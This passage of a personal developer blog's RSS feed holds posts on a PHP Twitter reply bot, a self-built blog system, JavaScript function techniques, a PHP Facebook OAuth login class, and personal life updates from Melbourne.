href="http://twitter.com/#!/DBZNappa">Twitter bot</a> I made a while ago. A few people emailed me asking for the source code, so I had previously <a href="http://webdevrefinery.com/forums/topic/5039-ideas-for-a-twitter-bot/page__view__findpost__p__42777">posted about it on webDevRefinery</a>, but never on my own blog. Basically all the bot does is search for whenever people mention "<a href="http://ohinternet.com/Over_9000" rel="nofollow">over 9000</a>" or "over nine thousand", and replies with "WHAT, NINE THOUSAND?!". Pretty simple, but I wanted to learn about using the Twitter API. It seems to have inspired the creation of other Twitter bots, like <a href="http://davidcurado.com.br/projects/annoyingnavi/">AnnoyingNavi</a> and <a href="http://aqua3.bplaced.net/2011/06/the-spacesphere/">The Spacesphere</a>, which I think is pretty cool. :).</p>
<p>The source code is <a href="https://gist.github.com/820281">available as a Gist on Github</a>. It is written in PHP and requires the PECL OAuth extension to be installed. I think it's a pretty good example of a simple "search and reply" Twitter bot, that could easily be extended to do more useful things.</p>
<p>Until next time,<br />
&mdash; Daniel</p><div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=W0LlR4EQ3sU:wbmGMN46NVw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=W0LlR4EQ3sU:wbmGMN46NVw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=W0LlR4EQ3sU:wbmGMN46NVw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=W0LlR4EQ3sU:wbmGMN46NVw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=W0LlR4EQ3sU:wbmGMN46NVw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=W0LlR4EQ3sU:wbmGMN46NVw:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=W0LlR4EQ3sU:wbmGMN46NVw:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/W0LlR4EQ3sU" height="1" width="1"/>]]></content:encoded><slash:comments>53</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2011/06/twitter-autoreply-bot-dbznappa</guid><category>PHP</category><category>Programming</category><feedburner:origLink>http://dan.cx/blog/2011/06/twitter-autoreply-bot-dbznappa</feedburner:origLink></item><item><title>New blog system!</title><link>http://feeds.d15.biz/~r/daniel15/~3/pOaEMTwVJhQ/new-blog-system</link><comments>http://dan.cx/blog/2011/05/new-blog-system#comments</comments><pubDate>Sun, 15 May 2011 17:37:00 +1000</pubDate><dc:creator>Daniel15</dc:creator><description>I was rewriting my site recently (to use the Kohana framework instead of WordPress), and I decided to write my own blog system at the same time. Finally, I've finished a basic version of it, and it's now live! This site is running on it, so hopefully there's no major issues! I do still love WordPress, but as a developer, it's…</description><content:encoded><![CDATA[<p>I was rewriting my site recently (to use the <a href="http://kohanaframework.org/">Kohana framework</a> instead of WordPress), and I decided to write my own blog system at the same time. Finally, I've finished a basic version of it, and it's now live! This site is running on it, so hopefully there's no major issues! I do still love WordPress, but as a developer, it's often fun to create your own stuff (you know exactly what the code is doing, and it does exactly what you want). The code for this whole website is now <a href="https://github.com/Daniel15/Website">available on Github</a>, maybe some of you would find it interesting (especially if you're doing something similar yourself). Still a bit rough around the edges, but it's working fine. I've still got a bit I'd like to do with the blog (like improving the administration section). :)</p>

<p>My old blog used to have a "microblog" section where I'd occassionally post photos and stuff. I've moved all that onto a <a href="http://thoughts.dan.cx/">Tumblr</a> account, although now I'm thinking I should have used Posterous instead. Tumblr's uptime seems quite bad. I really don't understand why it's so popular... It seems like it's mainly the community rather than the site itself.</p>

<p>Eventually I might even post a proper blog article to here. Or to <a href="http://storyofarelationship.com/">my other blog with my girlfriend</a> :)</p>

<p>Until then,<br />
&mdash; Daniel</p><div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=pOaEMTwVJhQ:qgSvFVSMF2c:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=pOaEMTwVJhQ:qgSvFVSMF2c:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=pOaEMTwVJhQ:qgSvFVSMF2c:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=pOaEMTwVJhQ:qgSvFVSMF2c:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=pOaEMTwVJhQ:qgSvFVSMF2c:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=pOaEMTwVJhQ:qgSvFVSMF2c:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=pOaEMTwVJhQ:qgSvFVSMF2c:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/pOaEMTwVJhQ" height="1" width="1"/>]]></content:encoded><slash:comments>0</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2011/05/new-blog-system</guid><category>PHP</category><category>Website</category><feedburner:origLink>http://dan.cx/blog/2011/05/new-blog-system</feedburner:origLink></item><item><title>JavaScript for modern sites [Part 2]: The awesomeness of functions</title><link>http://feeds.d15.biz/~r/daniel15/~3/BiC-wG4Cikg/javascript-for-modern-sites-2</link><comments>http://dan.cx/blog/2010/10/javascript-for-modern-sites-2#comments</comments><pubDate>Sat, 16 Oct 2010 14:14:20 +1100</pubDate><dc:creator>Daniel15</dc:creator><description>In this post, I'll discuss more of my opinions regarding JavaScript development. Please read the first post in the series if you haven't already. In this post, I'll cover some relatively important language features that don't seem to be covered in a lot of basic JavaScript guides. I'm assuming you have a basic knowledge of…</description><content:encoded><![CDATA[<p>In this post, I'll discuss more of my opinions regarding JavaScript development. Please read <a href="http://dan.cx/blog/2010/03/javascript-for-modern-sites/">the first post in the series</a> if you haven't already. In this post, I'll cover some relatively important language features that don't seem to be covered in a lot of basic JavaScript guides. I'm assuming you have a basic knowledge of JavaScript. Let's begin.</p>
<h3>Functions are variables</h3>
<p>In most programming languages, functions are a pretty basic language feature. They're quite nice for structuring your code, but don't really have any built-in awesomeness. Some programming languages have features to dynamically call functions at run-time (usually referred to as <em>reflection</em>), but JavaScript has a LOT more power in this area. In JavaScript, functions are known as <a href="http://en.wikipedia.org/wiki/First-class_object">first-class objects</a>. Functions are stored in normal variables, and you can create new ones (known as <em>anonymous functions</em>) and edit existing ones on the fly. Functions can also be return values from other functions! This enables a whole range of different programming techniques known as metaprogramming.</p>
<p>Let's take a look at some examples.<span id="read-more"></span> Most people that use JavaScript should know the basic function declaration syntax:<br />
<pre class="brush: javascript">function test()
{
	alert('This is a test function');
}</pre></p>
<p>However, because functions are variables, there's also a different syntax you can use:<br />
<pre class="brush: javascript">var test = function()
{
	alert('This is a test function');
}</pre></p>
<p>These two examples are exactly identical! Since it's a variable, you can do everything you could do with variables. You can pass it to functions:<br />
<pre class="brush: javascript">function doStuff(fun)
{
	fun('This is fun!'); // Call the passed in function, passing a parameter to it
}

var alertSomething = function(msg)
{
	alert('This is a message: ' + msg);
}
doStuff(alertSomething); // Passes the alertSomething variable to doStuff. Alerts &quot;This is a message: This is fun!&quot;</pre></p>
<p>And even overwrite built-in functions:<br />
<pre class="brush: javascript">document.write = function()
{
	alert('NO! document.write is EVIL! Time to learn DOM methods :-)');
}

document.write('Test'); // pwned</pre></p>
<h3>Functions are also objects</h3>
<p>As we saw above, functions are variables. Functions are also objects! This means you can store variables against functions. Let's see a simple example:<br />
<pre class="brush: javascript">function count()
{
	count.number++;
	alert('Count = ' + count.number);
}

count.number = 0;
count(); // Count = 1
count(); // Count = 2
count(); // Count = 3</pre></p>
<h3>No need for global variables</h3>
<p>So now that we know we can store variables against functions, you should realise that we should almost never need global variables. For variables that are specific to one function (like a count), you can store it against the function, as shown above. For variables that are relevant to a number of different functions, you should probably group the variables and all the functions into an object literal (see <a href="http://dan.cx/blog/2010/03/javascript-for-modern-sites/">my previous post</a> for more information on object literals).</p>
<h3>Put object literals into namespaces</h3>
<p>But wait... "The example functions all shown so far are globals, but you said to not use globals", I hear you say. Well, that's correct. So I'd say to put all your functions into object literals. Group all your functions into related categories or groups, and make one object literal per group. You can even put object literals inside object literals:<br />
<pre class="brush: javascript">var Site = {};
Site.Home = 
{
	// ... stuff for the home page
};
Site.ContactUs = 
{
	// ... stuff for the contact page
};

var Blog = {};
Blog.Main = 
{
	// ... Stuff for the blog
};

Blog.ViewPost = 
{
	// ... stuff for viewing blog posts
};</pre></p>
<p>This keeps your code clean and organised, and ensures you don't pollute the global namespace (you've only made two global objects here - Site and Blog). For any scripts you release publicly, I'd suggest putting them in some sort of namespace object, such as your name or nickname:<br />
<pre class="brush: javascript">var Daniel15 = Daniel15 || {};
Daniel15.AwesomeControl = 
{
	// ... stuff
}</pre></p>
<p>The "var Daniel15 = Daniel15 || {};" uses the existing Daniel15 object if it exists, otherwise, it creates a new empty one.</p>
<p>I think that's all for this post. I'd like to post about things like closures and such, but I'll save that for another post :).</p>
<p>Until next time,<br />
 &mdash; Daniel15</p>
<div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=BiC-wG4Cikg:OMlgeXYNhj0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=BiC-wG4Cikg:OMlgeXYNhj0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=BiC-wG4Cikg:OMlgeXYNhj0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=BiC-wG4Cikg:OMlgeXYNhj0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=BiC-wG4Cikg:OMlgeXYNhj0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=BiC-wG4Cikg:OMlgeXYNhj0:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=BiC-wG4Cikg:OMlgeXYNhj0:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/BiC-wG4Cikg" height="1" width="1"/>]]></content:encoded><slash:comments>2</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2010/10/javascript-for-modern-sites-2</guid><category>JavaScript</category><feedburner:origLink>http://dan.cx/blog/2010/10/javascript-for-modern-sites-2</feedburner:origLink></item><item><title>Integrating Facebook logins into your PHP website easily</title><link>http://feeds.d15.biz/~r/daniel15/~3/vHuw7z3hv1Q/integrating-facebook-logins-into-your-php-website-easily</link><comments>http://dan.cx/blog/2010/09/integrating-facebook-logins-into-your-php-website-easily#comments</comments><pubDate>Fri, 10 Sep 2010 19:01:36 +1000</pubDate><dc:creator>Daniel15</dc:creator><description>A lot of sites now use OpenID. This is great, as you can use the one account on multiple sites. Unfortunately, Facebook accounts can not yet be used as OpenIDs :(. However, using Facebook logins isn't too hard, as they support using OAuth 2.0. OpenID and OAuth are fundamentally for different things (OpenID is authentication,…</description><content:encoded><![CDATA[<p>A lot of sites now use OpenID. This is great, as you can use the one account on multiple sites. Unfortunately, Facebook accounts can not yet be used as OpenIDs :(. However, using Facebook logins isn't too hard, as they support using OAuth 2.0. OpenID and OAuth are fundamentally for different things (OpenID is authentication, OAuth is authorization), but it still works well in this situation. </p>
<p>Firstly, sign up for a Facebook application at the <a href="http://facebook.com/developer/">Facebook developer website</a>.  You'll have to correctly set the site URL and site domain. Copy the application ID and application secret as shown on the Web Site section of the settings, as you will need them later. <span id="read-more"></span><br />
<img src="http://ss.dan.cx/2010/09/05-16.15.54.png" alt="Facebook application details" border="1" /></p>
<p>Now we're ready to begin. Here's a very simple class for logging in via Facebook. It doesn't have much error checking, but should work okay: <a href="http://dan.cx/blog/wp-content/uploads/2010/09/facebook.txt">Download the class (Facebook.php)</a>. Here's some code that uses that class:<br />
<pre class="brush: php">
$facebook = new FacebookLogin('100929283281389', '8*******************************1');
$user = $facebook-&gt;doLogin();
echo 'User\'s URL: ', $user-&gt;link, '&lt;br /&gt;';
echo 'User\'s name: ', $user-&gt;name, '&lt;br /&gt;';
echo 'Full details:&lt;br /&gt;&lt;pre&gt;', print_r($user, true), '&lt;/ pre&gt;';
</pre></p>
<p>The first number in the constructor is the application ID, and the second one is the application secret (remember these from earlier? Here's where you use them!). Stick both the class and the little code snippet above into a .php file, and access it. If everything works correctly, you'll be able to hit that file to log in via Facebook, and get the user's details after logging in. <a href="http://stuff.dan.cx/facebook/login_test/">Here's a demo to show you how it works</a>. The idea now is you save the file as something like "FacebookLogin.php", and add a "Log in using Facebook" link on your site that goes to it :).</p>
<p>The class I've provided here is just a base class that you can base your own code on. What you do now is up to you. Here's some suggestions:</p>
<ul>
<li>Move the application ID and secret into a config file, instead of hard-coded like above</li>
<li>If you're using this to log in to a site, I'd store some of the user's details (like name, URL and Facebook ID) in session variables. </li>
<li>Maybe do things like load the user's profile picture. The access token retrieved at this line: <strong>$this->access_token = $result_array['access_token'];</strong> can be used to access pretty much anything on Facebook, as long as the user has given permission. Take a look at <a href="http://stuff.dan.cx/facebook/login_test/">the demo</a> to see what info you can get by default</li>
</ul>
<p>Good luck! :)</p>
<div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=vHuw7z3hv1Q:ucNO82edXVA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=vHuw7z3hv1Q:ucNO82edXVA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=vHuw7z3hv1Q:ucNO82edXVA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=vHuw7z3hv1Q:ucNO82edXVA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=vHuw7z3hv1Q:ucNO82edXVA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=vHuw7z3hv1Q:ucNO82edXVA:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=vHuw7z3hv1Q:ucNO82edXVA:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/vHuw7z3hv1Q" height="1" width="1"/>]]></content:encoded><slash:comments>13</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2010/09/integrating-facebook-logins-into-your-php-website-easily</guid><category>PHP</category><category>Facebook</category><category>Programming</category><category>Web Development</category><feedburner:origLink>http://dan.cx/blog/2010/09/integrating-facebook-logins-into-your-php-website-easily</feedburner:origLink></item><item><title>Story of a relationship: The blog of Ciera and I</title><link>http://feeds.d15.biz/~r/daniel15/~3/1SqWw8VtnBk/story-of-a-relationship-the-blog-of-ciera-and-i</link><comments>http://dan.cx/blog/2010/08/story-of-a-relationship-the-blog-of-ciera-and-i#comments</comments><pubDate>Sun, 15 Aug 2010 12:22:19 +1000</pubDate><dc:creator>Daniel15</dc:creator><description>Ciera and I have created a new blog, and I will be posting posts about us to that blog as opposed to this one. We're aiming on posting a new post every week! Check it out, post some comments and tell us what you think of it! :)
http://storyofarelationship.com/
</description><content:encoded><![CDATA[<p>Ciera and I have created a new blog, and I will be posting posts about us to that blog as opposed to this one. We're aiming on posting a new post every week! Check it out, post some comments and tell us what you think of it! :)</p>
<p><a href="http://storyofarelationship.com/">http://storyofarelationship.com/</a></p>
<div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=1SqWw8VtnBk:E4GmfkPMW-0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=1SqWw8VtnBk:E4GmfkPMW-0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=1SqWw8VtnBk:E4GmfkPMW-0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=1SqWw8VtnBk:E4GmfkPMW-0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=1SqWw8VtnBk:E4GmfkPMW-0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=1SqWw8VtnBk:E4GmfkPMW-0:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=1SqWw8VtnBk:E4GmfkPMW-0:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/1SqWw8VtnBk" height="1" width="1"/>]]></content:encoded><slash:comments>2</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2010/08/story-of-a-relationship-the-blog-of-ciera-and-i</guid><category>Relationships</category><category>Long Distance Relationships</category><category>Ciera</category><feedburner:origLink>http://dan.cx/blog/2010/08/story-of-a-relationship-the-blog-of-ciera-and-i</feedburner:origLink></item><item><title>My life with Ciera so far</title><link>http://feeds.d15.biz/~r/daniel15/~3/baiMqiL3KSM/my-life-with-ciera-so-far</link><comments>http://dan.cx/blog/2010/07/my-life-with-ciera-so-far#comments</comments><pubDate>Sun, 18 Jul 2010 21:25:31 +1000</pubDate><dc:creator>Daniel15</dc:creator><description>So as you'd already know, Ciera came back to Australia three weeks ago, which is why I haven't really been on messenger much recently :P. Things have been excellent so far, it's been really enjoyable. Last week, we made some delicious rainbow cookies. They were pretty much just plain lemon cookies based on a recipe from a $4…</description><content:encoded><![CDATA[<p>So as you'd already know, Ciera <a href="http://dan.cx/blog/2010/07/cieras-here/">came back to Australia three weeks ago</a>, which is why I haven't really been on messenger much recently :P. Things have been excellent so far, it's been really enjoyable. Last week, we made some <a href="http://dan.cx/blog/2010/07/rainbow-cookies/">delicious rainbow cookies</a>. They were pretty much just plain lemon cookies based on a recipe from a $4 book we bought at Go-Lo, WITH A DIFFERENCE! We made them awesome by colouring them all different colours (and even made some multi-colour, which was my idea :D). They were delicious <strong>and</strong> colourful and made with 100% awesomesauce. Next time we make some, we'll make them all rainbow I think xD.</p>
<p>Yesterday (Saturday), we went to <a href="http://museumvictoria.com.au/scienceworks/">Scienceworks</a>, which is a science museum here in Melbourne. Well, we got there eventually. We had a few minor issues along the way. Firstly, we got off at Parliament Train Station (as the Metlink journey planner said to), and the platform that the train we needed usually comes to was closed, and there was a notice to go to Southern Cross Station. So, we went back to the platform we came from, and caught another train to Southern Cross. When we got to Southern Cross, the train took aaaages to come (then again, it's the Weribee line so it's kinda expected I guess :P). And then there was another complication &mdash; The train terminated at Footscray and we had to take a replacement bus the rest of the way. However, once we caught that bus, we finally got there. Entry is free if you're a student, so that's definitely a bonus.</p>
<p>While I've been to Scienceworks before, it was a long long time ago and I couldn't remember much of it. This time around it was pretty good and I found it quite interesting.  They had a toy exhibit, which was <strong>awesome</strong>! They had a roller coaster made out of <a href="http://www.knex.com/">K'Nex</a> which was very nice. I want one!! Get me one please? I'm such a child at times, I don't think that'll ever change :D. Anyways, there was also other exhibits like a flight simulator, a kitchen thingy and a nice fire show (with demonstrations, Aaron would have loved it xD). There's also a planetarium there, but we didn't go this time (maybe we'll go next time). And we also went to the store there, and bought some glow-in-the-dark stars (which we stuck all over the roof in our room :D). All in all, it was a very fun day, I really enjoyed it! Was definitely worth the $0 entry to Scienceworks, hahaha :P.</p>
<p>As for work, things are going very good. Since I just passed the six month mark for my IBL placement, I moved from the technical support team at work into one of the development teams. We've been working on improving our products by making commonly-requested upgrades. When clients would like functionality that is currently not available in our system, their request goes onto a wishlist. My team went through the wishlist, rated all the items based on priority, and started working on them. In just two weeks, we've completed heaps, and a few people are very happy :D! I've also been doing a few other things, it's been quite good. I really enjoy my job! Also since it's about the half way mark now, my mid-placement report is nearly due. I've nearly finished it, just have to confirm that it's alright, and show it to my supervisor and see if he thinks it's alright.</p>
<p>So it's the start of another week tomorrow. I really miss Ciera during the day while I'm at work, but it's awesome coming home to her! Really makes me happy and makes everything I do worth it. &lt;3</p>
<p>Until next time,<br />
 &mdash; Daniel</p>
<div class="feedflare">
<a href="http://feeds.d15.biz/~ff/daniel15?a=baiMqiL3KSM:BGZvk_fEswA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/daniel15?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=baiMqiL3KSM:BGZvk_fEswA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/daniel15?i=baiMqiL3KSM:BGZvk_fEswA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=baiMqiL3KSM:BGZvk_fEswA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/daniel15?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=baiMqiL3KSM:BGZvk_fEswA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/daniel15?i=baiMqiL3KSM:BGZvk_fEswA:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.d15.biz/~ff/daniel15?a=baiMqiL3KSM:BGZvk_fEswA:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/daniel15?d=bcOpcFrp8Mo" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/daniel15/~4/baiMqiL3KSM" height="1" width="1"/>]]></content:encoded><slash:comments>2</slash:comments><guid isPermaLink="false">http://dan.cx/blog/2010/07/my-life-with-ciera-so-far</guid><category>Melbourne</category><category>Ciera</category><feedburner:origLink>http://dan.cx/blog/2010/07/my-life-with-ciera-so-far</feedburner:origLink></item></channel>
</rss><!-- Generated on 23rd May 2012 at 6:55 AM -->

